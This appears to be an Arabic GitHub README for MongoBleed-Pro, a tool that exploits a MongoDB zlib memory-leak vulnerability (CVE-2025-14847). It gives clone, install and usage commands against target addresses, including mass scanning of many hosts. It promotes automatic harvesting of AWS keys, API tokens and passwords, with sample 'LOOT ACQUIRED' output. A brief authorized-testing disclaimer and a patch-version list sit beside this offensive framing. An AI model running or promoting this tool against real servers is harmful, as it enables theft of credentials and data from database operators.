MongoBleed-Pro ☠️

أداة متقدمة لاستغلال تسرب الذاكرة في MongoDB
استمر في التعلم | استمر في الاختراق مع Alexcyberx

🔥 حول الأداة

MongoBleed-Pro هي أداة استغلال متطورة لـ CVE-2025-14847، وهي ثغرة حرجة في تسرب الذاكرة في معالجة ضغط zlib في MongoDB. تسمح هذه الأداة لباحثي الأمن باستخراج بيانات حساسة من مثيلات MongoDB القابلة للاستغلال.

⚠️ إخلاء مسؤولية

هذه الأداة مخصصة لأغراض الاختبار الأمني المصرّح به والتعليم فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. احصل دائمًا على التصريح المناسب قبل الاختبار.

💀 تفاصيل الثغرة

🚀 الميزات

• ☠️ واجهة على طراز القراصنة - واجهة طرفية احترافية مع رسوم متحركة
• ⚡ مسح متعدد الخيوط - استخراج سريع للذاكرة مع خيوط قابلة للتعديل
• 🎯 كشف تلقائي للثغرات - فحص تلقائي لوجود الثغرة قبل الاستغلال
• 🔑 كشف أنماط الأسرار - العثور على مفاتيح AWS، ورموز API، وكلمات المرور، والبريد الإلكتروني
• 📊 تقدم مباشر - عرض حي لتسرب الذاكرة
• 💾 تصدير البيانات - حفظ البيانات المستخرجة في ملفات للتحليل
• 🌐 مسح جماعي - مسح أهداف متعددة من ملف

📦 التثبيت

# استنساخ المستودع
git clone https://github.com/alexcyberx/CVE-2025-14847_Expolit.git
cd CVE-2025-14847_Expolit

# تثبيت التبعيات
pip install -r requirements.txt

🎮 الاستخدام

الاستخدام الأساسي

python3 mongobleed_pro.py

تحديد الهدف

python3 mongobleed_pro.py --target 192.168.1.100

منفذ مخصص

python3 mongobleed_pro.py --target 192.168.1.100:27018

مسح جماعي

python3 mongobleed_pro.py --file targets.txt

خيارات متقدمة

python3 mongobleed_pro.py --target 192.168.1.100 --threads 100 --min-offset 100 --max-offset 20000

جميع الخيارات

📸 لقطات الشاشة

╔══════════════════════════════════════════════════════════════╗
║  💀 INITIATING MEMORY EXTRACTION SEQUENCE 💀                 ║
╚══════════════════════════════════════════════════════════════╝

⚡ Target Acquired: 192.168.1.100:27017
   ✓ Port OPEN
   ☠️  VULNERABLE! Initiating attack...

  ◉ 0x0E31 │ nr_inactive_anon 134420\nnr_active_anon 110832...
  ☠️  LOOT ACQUIRED: 🔐 Password
      → admin_pass=SuperSecret123

╔══════════════════ EXTRACTION COMPLETE ══════════════════╗
║  💾 Bytes Extracted: 125,847
║  📦 Unique Fragments: 342
║  🔑 Secrets Found: 5
╚══════════════════════════════════════════════════════════╝

🔑 أنواع الأسرار المكتشفة

• 🔑 مفاتيح وصول AWS (AKIA...)
• 🤖 مفاتيح OpenAI API (sk-...)
• 🐙 رموز GitHub (ghp_...)
• 🔐 كلمات مرور وأسرار
• 📧 عناوين بريد إلكتروني

📁 ملفات الإخراج

🛡️ التخفيف

إذا كنت مسؤول MongoDB، قم بالتحديث إلى الإصدارات المصححة:

• MongoDB 8.0.10+
• MongoDB 7.3.6+
• MongoDB 7.0.19+
• MongoDB 6.0.23+

👤 المؤلف

alexcyberx

• 🐦 إنستغرام: @alex_cyberx

📜 الرخصة

هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.

⭐ الدعم

إذا وجدت هذه الأداة مفيدة، يرجى منحها ⭐ على GitHub!

「 استمر في التعلم | استمر في الاختراق 」
صنع بـ ❤️ بواسطة alexcyberx